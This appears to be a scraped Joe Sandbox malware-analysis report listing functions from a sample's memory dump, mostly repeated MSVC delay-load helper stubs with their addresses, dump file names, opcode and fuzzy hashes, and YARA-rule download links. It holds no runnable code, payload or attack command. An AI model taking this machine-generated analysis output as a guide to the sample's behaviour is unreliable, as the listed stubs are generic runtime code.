Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 788e1ba66639ce0c30fde5584c882119102856639f9bb106482a07359c87b3e3
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 788e1ba66639ce0c30fde5584c882119102856639f9bb106482a07359c87b3e3
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1aa98988455b874d01db13866ab361e8a59451cd523f6e9cb6c3077a5d151690
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 1aa98988455b874d01db13866ab361e8a59451cd523f6e9cb6c3077a5d151690
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 79d0162f60d01523533d7270e2810ff23956f8f38de4cfb45952fd5111559b4b
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 79d0162f60d01523533d7270e2810ff23956f8f38de4cfb45952fd5111559b4b
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7D93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7D8A3

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9885076e69593478a829639715e4f92276f556196b43cfe6923f2386d8990278
Instruction ID: f42ab689df07a9c2a4ed69fa053db8c31c255454de152063c94eb6faea77e4d9
Opcode Fuzzy Hash: 9885076e69593478a829639715e4f92276f556196b43cfe6923f2386d8990278
Instruction Fuzzy Hash: 3FA001A66AD542BC36087651BE57D3A6A2ECCC5B61331C91EF48FA41C1B980A8499832

Function 00D7DAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ef2cbe02d1b2f696037cddc1ba1447e4b2d15f59a8c8827e60edf66deb99c147
Instruction ID: ea6b2818e90efd4b55c7cc48b84744ad7c7bce59d936578a31223e56aa754f42
Opcode Fuzzy Hash: ef2cbe02d1b2f696037cddc1ba1447e4b2d15f59a8c8827e60edf66deb99c147
Instruction Fuzzy Hash: 99A001A62AD142BC36087252BE17D3A626EDDD4B61331CA1FF44F94089B99898495871

Function 00D7DACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1078d6d5011643acaf854546851db0626e0bac1552b08bcb558fd1064b1084ca
Instruction ID: ea6b2818e90efd4b55c7cc48b84744ad7c7bce59d936578a31223e56aa754f42
Opcode Fuzzy Hash: 1078d6d5011643acaf854546851db0626e0bac1552b08bcb558fd1064b1084ca
Instruction Fuzzy Hash: 99A001A62AD142BC36087252BE17D3A626EDDD4B61331CA1FF44F94089B99898495871

Function 00D7DAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f56d0e0bdfb28a8b8a76763641d67d84c85bfb11b2575450d04cb32f5cf08be6
Instruction ID: ea6b2818e90efd4b55c7cc48b84744ad7c7bce59d936578a31223e56aa754f42
Opcode Fuzzy Hash: f56d0e0bdfb28a8b8a76763641d67d84c85bfb11b2575450d04cb32f5cf08be6
Instruction Fuzzy Hash: 99A001A62AD142BC36087252BE17D3A626EDDD4B61331CA1FF44F94089B99898495871

Function 00D7DAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: faf720d5f6dec265e0b7b04c862e9e990cd10ed3e307133750fcdc2f363440f9
Instruction ID: ea6b2818e90efd4b55c7cc48b84744ad7c7bce59d936578a31223e56aa754f42
Opcode Fuzzy Hash: faf720d5f6dec265e0b7b04c862e9e990cd10ed3e307133750fcdc2f363440f9
Instruction Fuzzy Hash: 99A001A62AD142BC36087252BE17D3A626EDDD4B61331CA1FF44F94089B99898495871

Function 00D7DAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6eb03a8f1a15fc6dacb98d26da816a242bfa4af5d237fef015f0f52d4baeacec
Instruction ID: ea6b2818e90efd4b55c7cc48b84744ad7c7bce59d936578a31223e56aa754f42
Opcode Fuzzy Hash: 6eb03a8f1a15fc6dacb98d26da816a242bfa4af5d237fef015f0f52d4baeacec
Instruction Fuzzy Hash: 99A001A62AD142BC36087252BE17D3A626EDDD4B61331CA1FF44F94089B99898495871

Function 00D7DAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DAB2

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c35fd1e22c275ec1c70660fcde8ab73f9c6f39ed66feb0e4a3e44d55fa9121db
Instruction ID: c86d836922df9aefbc7272a78cf5fb7050dc04edf516b90c24bd539397434eb7
Opcode Fuzzy Hash: c35fd1e22c275ec1c70660fcde8ab73f9c6f39ed66feb0e4a3e44d55fa9121db
Instruction Fuzzy Hash: 3FA001A62AD5427C3648B252BE17D3A626EEDE0B22331C61FF44FA4089B99898495871

Function 00D7DBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6e9445d7c14bd4694a576f09e597403ae79e3a8c2c7e312bb5b6a816962cc16d
Instruction ID: 756f11e2614d29acfbd3bdd2d121d123fcb9c9246b1902b4a975ccecbc0e88c5
Opcode Fuzzy Hash: 6e9445d7c14bd4694a576f09e597403ae79e3a8c2c7e312bb5b6a816962cc16d
Instruction Fuzzy Hash: E3A011AA2AC002BC320822003E0BC3A223ECCC0B20332C80FF00F80080BA808C088030

Function 00D7DC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DC36

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d4f5c3605a2abceadab8a3fce1f7a77e089bec96884387fc6160ea05dd26eda4
Instruction ID: 28a459b9f2ae1a7ea9180c775af80d0dbea568ceb68a0be06f6a4f5d98dc951b
Opcode Fuzzy Hash: d4f5c3605a2abceadab8a3fce1f7a77e089bec96884387fc6160ea05dd26eda4
Instruction Fuzzy Hash: 4FA001AA6AD242BD360D62517E17D7A623ECCC8B61335C91EF54FA4095BA80AC499431

Function 00D7DC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DC36

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5de647e9cff412ea570b7e863885aa4ca6820cf663a1eda950b05da65c465485
Instruction ID: 28a459b9f2ae1a7ea9180c775af80d0dbea568ceb68a0be06f6a4f5d98dc951b
Opcode Fuzzy Hash: 5de647e9cff412ea570b7e863885aa4ca6820cf663a1eda950b05da65c465485
Instruction Fuzzy Hash: 4FA001AA6AD242BD360D62517E17D7A623ECCC8B61335C91EF54FA4095BA80AC499431

Function 00D7DC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 813955f0469fc2b4a24177dbfa7fa89412b55bd961709e5e15bba3e01a56269b
Instruction ID: 756f11e2614d29acfbd3bdd2d121d123fcb9c9246b1902b4a975ccecbc0e88c5
Opcode Fuzzy Hash: 813955f0469fc2b4a24177dbfa7fa89412b55bd961709e5e15bba3e01a56269b
Instruction Fuzzy Hash: E3A011AA2AC002BC320822003E0BC3A223ECCC0B20332C80FF00F80080BA808C088030

Function 00D7DC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c6c5ea55a16342289fd238fd73ad6db2d79998c5d5e255509b14990d1a3d7679
Instruction ID: 756f11e2614d29acfbd3bdd2d121d123fcb9c9246b1902b4a975ccecbc0e88c5
Opcode Fuzzy Hash: c6c5ea55a16342289fd238fd73ad6db2d79998c5d5e255509b14990d1a3d7679
Instruction Fuzzy Hash: E3A011AA2AC002BC320822003E0BC3A223ECCC0B20332C80FF00F80080BA808C088030

Function 00D7DC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7DBD5

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 92b3299889a9e28d25bf0931f87ab6960e8987780b6219144b8390bba16e929d
Instruction ID: 756f11e2614d29acfbd3bdd2d121d123fcb9c9246b1902b4a975ccecbc0e88c5
Opcode Fuzzy Hash: 92b3299889a9e28d25bf0931f87ab6960e8987780b6219144b8390bba16e929d
Instruction Fuzzy Hash: E3A011AA2AC002BC320822003E0BC3A223ECCC0B20332C80FF00F80080BA808C088030

Function 00D69EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00D69104,?,?,-00001964), ref: 00D69EC2

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

